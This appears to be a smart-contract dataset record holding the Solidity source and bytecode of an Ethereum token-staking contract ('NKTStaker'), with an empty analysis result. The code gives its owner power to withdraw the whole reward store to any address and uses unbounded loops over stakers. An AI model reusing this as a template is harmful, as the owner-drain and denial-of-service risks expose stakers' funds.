ffffffffffffffffffffffffffff166108fc60048481548110151561263e57fe5b90600052602060002090600e0201600401549081150290604051600060405180830381858888f1935050505015801561267b573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fb84bdcbbb2d10fbf5aee51df68c6d83f7700948158de89ec136b5bfcd000c3ff6004858154811015156126fc57fe5b90600052602060002090600e0201600401546040518082815260200191505060405180910390a3600060048381548110151561273457fe5b90600052602060002090600e020160090181905550600360048381548110151561275a57fe5b90600052602060002090600e0201600a0160006101000a81548160ff0219169083600381111561278657fe5b02179055504260048381548110151561279b57fe5b90600052602060002090600e0201600801819055505b505050565b6005818154811015156127c557fe5b90600052602060002090600302016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128ab57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60066020528060005260406000206000915090505481565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561296357600080fd5b600480549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129c957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612a0557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600080600080600660008a8152602001908152602001600020549050600481815481101515612a7a57fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600482815481101515612abb57fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600483815481101515612afc57fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600484815481101515612b3d57fe5b90600052602060002090600e020160030154600485815481101515612b5e57fe5b90600052602060002090600e020160070154600486815481101515612b7f57fe5b90600052602060002090600e0201600a0160009054906101000a900460ff16600487815481101515612bad57fe5b90600052602060002090600e0201600d0154975097509750975097509750975050919395979092949650565b6000808284019050838110151515612bed57fe5b8091505092915050565b815481835581811115612c2457600e0281600e028360005260206000209182019101612c239190612cdb565b5b505050565b815481835581811115612c5657600302816003028360005260206000209182019101612c559190612e19565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612c9c57805160ff1916838001178555612cca565b82800160010185558215612cca579182015b82811115612cc9578251825591602001919060010190612cae565b5b509050612cd79190612ead565b5090565b612e1691905b80821115612e1257600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600382016000905560048201600090556005820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556006820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600782016000905560088201600090556009820160009055600a820160006101000a81549060ff0219169055600b820160009055600c82016000612e019190612ed2565b600d82016000905550600e01612ce1565b5090565b90565b612eaa91905b80821115612ea657600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600301612e1f565b5090565b90565b612ecf91905b80821115612ecb576000816000905550600101612eb3565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612ef85750612f17565b601f016020900490600052602060002090810190612f169190612ead565b5b505600a165627a7a723058207085fcfca6ab8fbdcfa6e83d449a7e5f533173eb7a1a25c1e020d236aecc3e460029
|
{"success": true, "error": null, "results": {}}
| 9,166 |
0x769a407bff095391a9bc0737a8fc3233d56bbf8c
|
/**
*Submitted for verification at Etherscan.io on 2020-11-16
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
abstract contract NKTContract {
function balanceOf(address account) external view virtual returns (uint256);
function transfer(address recipient, uint256 amount) external virtual returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (bool);
}
abstract contract NKTStoreContract {
function getStoreBalance() external virtual returns (uint256);
function giveReward(address recipient, uint256 amount) external virtual returns (bool);
function withdrawAll(address recipient) external virtual returns (bool);
}
contract NKTStaker is Ownable {
using SafeMath for uint256;
NKTContract private _mainTokenContract; // main token contract
NKTStoreContract private _storeWalletContract; // store wallet contract
mapping (address => uint256) private _stakedBalances; // map for stacked balances
mapping (address => uint256) private _rewards; // map for rewards
address private _devWallet; // dev wallet address
address[] private _stakers; // staker's array
uint256 private _totalStackedAmount = 0; // total stacked amount
uint256 private _minStakeAmount = 20e18; // min stackable amount
uint256 private _rewardPeriod = 3600; // seconds of a day
uint256 private _rewardPortion = 100; // reward portion = 1/100
uint256 private _rewardFee = 98; // reward fee 98%, rest for dev 2%
uint256 private _taxFee = 2; // tax fee for transaction
uint256 private _minRewardPeriod = 3600; // min reward period = 1 hour (3600s)
uint256 private _lastTimestamp; // last timestamp that distributed rewards
// Events
event Staked(address staker, uint256 amount);
event Unstaked(address staker, uint256 amount);
event Claim(address staker, uint256 amount);
constructor (NKTContract mainTokenContract, address devWallet) public {
_mainTokenContract = mainTokenContract;
_devWallet = devWallet;
}
function stake(uint256 amount) external {
require(
amount >= _minStakeAmount,
"Too small amount"
);
require(
_mainTokenContract.transferFrom(
_msgSender(),
address(this),
amount
),
"Stake failed"
);
uint256 taxAmount = amount.mul(_taxFee).div(100);
uint256 stackedAmount = amount.sub(taxAmount);
if(_stakers.length == 0)
_lastTimestamp = uint256(now);
if(_stakedBalances[_msgSender()] == 0)
_stakers.push(_msgSender());
_stakedBalances[_msgSender()] = _stakedBalances[_msgSender()].add(stackedAmount);
_totalStackedAmount = _totalStackedAmount.add(stackedAmount);
emit Staked(_msgSender(), stackedAmount);
}
function unstake(uint256 amount) external {
require(
_stakedBalances[_msgSender()] >= amount,
"Unstake amount exceededs the staked amount."
);
require(
_mainTokenContract.transfer(
_msgSender(),
amount
),
"Unstake failed"
);
_stakedBalances[_msgSender()] = _stakedBalances[_msgSender()].sub(amount);
_totalStackedAmount = _totalStackedAmount.sub(amount);
if(_stakedBalances[_msgSender()] == 0) {
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] == _msgSender()) {
_stakers[i] = _stakers[_stakers.length-1];
_stakers.pop();
break;
}
}
}
emit Unstaked(_msgSender(), amount);
uint256 rewardsAmount = _rewards[_msgSender()];
if(rewardsAmount > 0) {
require(
_storeWalletContract.giveReward(_msgSender(), rewardsAmount),
"Claim failed."
);
_rewards[_msgSender()] = 0;
emit Claim(_msgSender(), rewardsAmount);
}
}
function claim(uint256 amount) external {
require(
_rewards[_msgSender()] >= amount,
"Claim amount exceededs the pendnig rewards."
);
require(
_storeWalletContract.giveReward(_msgSender(), amount),
"Claim failed."
);
_rewards[_msgSender()] = _rewards[_msgSender()].sub(amount);
emit Claim(_msgSender(), amount);
}
function endStake() external {
uint256 rewardsAmount = _rewards[_msgSender()];
if(rewardsAmount > 0) {
require(
_storeWalletContract.giveReward(_msgSender(), rewardsAmount),
"Claim failed."
);
_rewards[_msgSender()] = 0;
emit Claim(_msgSender(), rewardsAmount);
}
uint256 unstakeAmount = _stakedBalances[_msgSender()];
if(unstakeAmount > 0) {
require(
_mainTokenContract.transfer(
_msgSender(),
unstakeAmount
),
"Unstake failed"
);
_stakedBalances[_msgSender()] = 0;
_totalStackedAmount = _totalStackedAmount.sub(unstakeAmount);
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] == _msgSender()) {
_stakers[i] = _stakers[_stakers.length-1];
_stakers.pop();
break;
}
}
emit Unstaked(_msgSender(), unstakeAmount);
}
}
function calcRewards() external {
uint256 currentTimestamp = uint256(now);
uint256 diff = currentTimestamp.sub(_lastTimestamp);
if(diff >= _rewardPeriod) {
uint256 rewardDays = diff.div(_rewardPeriod);
uint256 offsetTimestamp = diff.sub(_rewardPeriod.mul(rewardDays));
uint256 _storeBalance = _storeWalletContract.getStoreBalance();
for(uint j=0; j<rewardDays; j++) {
uint256 _totalRewardsAmount = _storeBalance.div(_rewardPortion);
if(_totalRewardsAmount > 0) {
uint256 _rewardForStaker = _totalRewardsAmount.mul(_rewardFee).div(100);
uint256 _rewardForDev = _totalRewardsAmount.sub(_rewardForStaker);
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] != address(0)) {
_rewards[_stakers[i]] = _rewards[_stakers[i]].add(_stakedBalances[_stakers[i]].mul(_rewardForStaker).div(_totalStackedAmount));
}
}
if(_rewardForDev > 0)
_storeWalletContract.giveReward(_devWallet, _rewardForDev);
}
_storeBalance = _storeBalance.sub(_totalRewardsAmount);
}
_lastTimestamp = currentTimestamp.sub(offsetTimestamp);
}
}
function withdrawAllFromStore(address recipient) external onlyOwner returns (bool) {
require(
recipient != address(0) && recipient != address(this),
"Should be valid address."
);
_storeWalletContract.withdrawAll(recipient);
}
/**
* Get store wallet
*/
function getStoreWalletContract() external view returns (address) {
return address(_storeWalletContract);
}
/**
* Get total stacked amount
*/
function getTotalStackedAmount() external view returns (uint256) {
return _totalStackedAmount;
}
/**
* Get reward amount of staker
*/
function getRewardOfAccount(address staker) external view returns (uint256) {
return _rewards[staker];
}
/**
* Get stacked amount of staker
*/
function getStakeAmountOfAccount(address staker) external view returns (uint256) {
return _stakedBalances[staker];
}
/**
* Get min stake amount
*/
function getMinStakeAmount() external view returns (uint256) {
return _minStakeAmount;
}
/**
* Get rewards period
*/
function getRewardPeriod() external view returns (uint256) {
return _rewardPeriod;
}
/**
* Get rewards portion
*/
function getRewardPortion() external view returns (uint256) {
return _rewardPortion;
}
/**
* Get last timestamp that countdown for rewards started
*/
function getLastTimestamp() external view returns (uint256) {
return _lastTimestamp;
}
/**
* Get staker count
*/
function getStakerCount() external view returns (uint256) {
return _stakers.length;
}
/**
* Get rewards fee
*/
function getRewardFee() external view returns (uint256) {
return _rewardFee;
}
/**
* Set store wallet contract address
*/
function setStoreWalletContract(NKTStoreContract storeWalletContract) external onlyOwner returns (bool) {
require(address(storeWalletContract) != address(0), 'store wallet contract should not be zero address.');
_storeWalletContract = storeWalletContract;
return true;
}
/**
* Set reward period
*/
function setRewardPeriod(uint256 rewardPeriod) external onlyOwner returns (bool) {
require(rewardPeriod >= _minRewardPeriod, 'reward period should be above min reward period.');
_rewardPeriod = rewardPeriod;
return true;
}
/**
* Set rewards portion in store balance.
* ex: 1000 => rewardsAmount of one period equals storeAmount.div(1000)
*/
function setRewardPortion(uint256 rewardPortion) external onlyOwner returns (bool) {
require(rewardPortion >= 1, 'reward portion should be above 1');
_rewardPortion = rewardPortion;
return true;
}
/**
* Set rewards portion for stakers in rewards amount.
* ex: 98 => 98% (2% for dev)
*/
function setRewardFee(uint256 rewardFee) external onlyOwner returns (bool) {
require(rewardFee >= 96 && rewardFee <= 100, 'reward fee should be in 96 ~ 100' );
_rewardFee = rewardFee;
_taxFee = uint256(100).sub(_rewardFee);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806376289f38116100b8578063a1bae97f1161007c578063a1bae97f14610442578063a694fc3a14610476578063adc89032146104a4578063bcee7612146104c2578063bec70c9f146104cc578063d7da5e521461052657610137565b806376289f38146103485780637d608349146103665780637df8ce4b146103aa578063818a8ed7146104045780638da5cb5b1461040e57610137565b806330eff36b116100ff57806330eff36b14610242578063378997701461029a578063379607f5146102b857806341a2ac70146102e6578063527cb1d71461032a57610137565b80630822c0691461013c5780631319649d1461019457806326da9141146101b25780632819a630146101d05780632e17de7814610214575b600080fd5b61017e6004803603602081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610544565b6040518082815260200191505060405180910390f35b61019c61058d565b6040518082815260200191505060405180910390f35b6101ba61059a565b6040518082815260200191505060405180910390f35b6101fc600480360360208110156101e657600080fd5b81019080803590602001909291905050506105a4565b60405180821515815260200191505060405180910390f35b6102406004803603602081101561022a57600080fd5b81019080803590602001909291905050506106d9565b005b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddb565b6040518082815260200191505060405180910390f35b6102a2610e24565b6040518082815260200191505060405180910390f35b6102e4600480360360208110156102ce57600080fd5b8101908080359060200190929190505050610e2e565b005b610312600480360360208110156102fc57600080fd5b8101908080359060200190929190505050611116565b60405180821515815260200191505060405180910390f35b610332611290565b6040518082815260200191505060405180910390f35b61035061129a565b6040518082815260200191505060405180910390f35b6103926004803603602081101561037c57600080fd5b81019080803590602001909291905050506112a4565b60405180821515815260200191505060405180910390f35b6103ec600480360360208110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113f5565b60405180821515815260200191505060405180910390f35b61040c61158f565b005b610416611a7f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61044a611aa8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a26004803603602081101561048c57600080fd5b8101908080359060200190929190505050611ad2565b005b6104ac611ee1565b6040518082815260200191505060405180910390f35b6104ca611eeb565b005b61050e600480360360208110156104e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124fc565b60405180821515815260200191505060405180910390f35b61052e61276d565b6040518082815260200191505060405180910390f35b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600680549050905090565b6000600a54905090565b60006105ae612777565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600d548210156106c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612ad36030913960400191505060405180910390fd5b8160098190555060019050919050565b80600360006106e6612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612aa8602b913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6107be612777565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561081257600080fd5b505af1158015610826573d6000803e3d6000fd5b505050506040513d602081101561083c57600080fd5b81019080805190602001909291905050506108bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f556e7374616b65206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b61091881600360006108cf612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b60036000610924612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109778160075461277f90919063ffffffff16565b60078190555060006003600061098b612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b375760005b600680549050811015610b35576109e4612777565b73ffffffffffffffffffffffffffffffffffffffff1660068281548110610a0757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b2857600660016006805490500381548110610a6357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660068281548110610a9b57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006805480610aee57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610b35565b80806001019150506109cf565b505b7f0f5bb82176feb1b5e747e28471aa92156a04d9f3ab9f45f28e2d704232b93f75610b60612777565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600060046000610ba1612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610dd757600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f3610c2d612777565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b505050506040513d6020811015610cab57600080fd5b8101908080519060200190929190505050610d2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f436c61696d206661696c65642e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600060046000610d3c612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d4610da3612777565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600e54905090565b8060046000610e3b612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ecd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612b03602b913960400191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f3610f13612777565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f6757600080fd5b505af1158015610f7b573d6000803e3d6000fd5b505050506040513d6020811015610f9157600080fd5b8101908080519060200190929190505050611014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f436c61696d206661696c65642e0000000000000000000000000000000000000081525060200191505060405180910390fd5b61106d8160046000611024612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b60046000611079612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d46110e0612777565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b6000611120612777565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b606082101580156111f2575060648211155b611264576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f726577617264206665652073686f756c6420626520696e203936207e2031303081525060200191505060405180910390fd5b81600b81905550611281600b54606461277f90919063ffffffff16565b600c8190555060019050919050565b6000600854905090565b6000600b54905090565b60006112ae612777565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461136e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018210156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f72657761726420706f7274696f6e2073686f756c642062652061626f7665203181525060200191505060405180910390fd5b81600a8190555060019050919050565b60006113ff612777565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180612b4f6031913960400191505060405180910390fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600042905060006115ab600e548361277f90919063ffffffff16565b90506009548110611a7b5760006115cd600954836127c990919063ffffffff16565b905060006115f86115e98360095461281390919063ffffffff16565b8461277f90919063ffffffff16565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f05fae686040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561166657600080fd5b505af115801561167a573d6000803e3d6000fd5b505050506040513d602081101561169057600080fd5b8101908080519060200190929190505050905060005b83811015611a5d5760006116c5600a54846127c990919063ffffffff16565b90506000811115611a3a5760006116fa60646116ec600b548561281390919063ffffffff16565b6127c990919063ffffffff16565b90506000611711828461277f90919063ffffffff16565b905060005b60068054905081101561193b57600073ffffffffffffffffffffffffffffffffffffffff166006828154811061174857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192e576118b361182e6007546118208660036000600688815481106117ac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281390919063ffffffff16565b6127c990919063ffffffff16565b600460006006858154811061183f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289990919063ffffffff16565b60046000600684815481106118c457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080600101915050611716565b506000811115611a3757600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119fa57600080fd5b505af1158015611a0e573d6000803e3d6000fd5b505050506040513d6020811015611a2457600080fd5b8101908080519060200190929190505050505b50505b611a4d818461277f90919063ffffffff16565b92505080806001019150506116a6565b50611a71828661277f90919063ffffffff16565b600e819055505050505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600854811015611b4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f546f6f20736d616c6c20616d6f756e740000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd611b90612777565b30846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611c0257600080fd5b505af1158015611c16573d6000803e3d6000fd5b505050506040513d6020811015611c2c57600080fd5b8101908080519060200190929190505050611caf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f5374616b65206661696c6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000611cd96064611ccb600c548561281390919063ffffffff16565b6127c990919063ffffffff16565b90506000611cf0828461277f90919063ffffffff16565b905060006006805490501415611d085742600e819055505b600060036000611d16612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dc2576006611d61612777565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b611e1b8160036000611dd2612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289990919063ffffffff16565b60036000611e27612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7a8160075461289990919063ffffffff16565b6007819055507f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d611ea9612777565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600954905090565b600060046000611ef9612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561212f57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f3611f85612777565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fd957600080fd5b505af1158015611fed573d6000803e3d6000fd5b505050506040513d602081101561200357600080fd5b8101908080519060200190929190505050612086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f436c61696d206661696c65642e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600060046000612094612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d46120fb612777565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b60006003600061213d612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156124f857600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6121c9612777565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561221d57600080fd5b505af1158015612231573d6000803e3d6000fd5b505050506040513d602081101561224757600080fd5b81019080805190602001909291905050506122ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f556e7374616b65206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b6000600360006122d8612777565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232b8160075461277f90919063ffffffff16565b60078190555060005b60068054905081101561249a57612349612777565b73ffffffffffffffffffffffffffffffffffffffff166006828154811061236c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561248d576006600160068054905003815481106123c857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006828154811061240057fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffff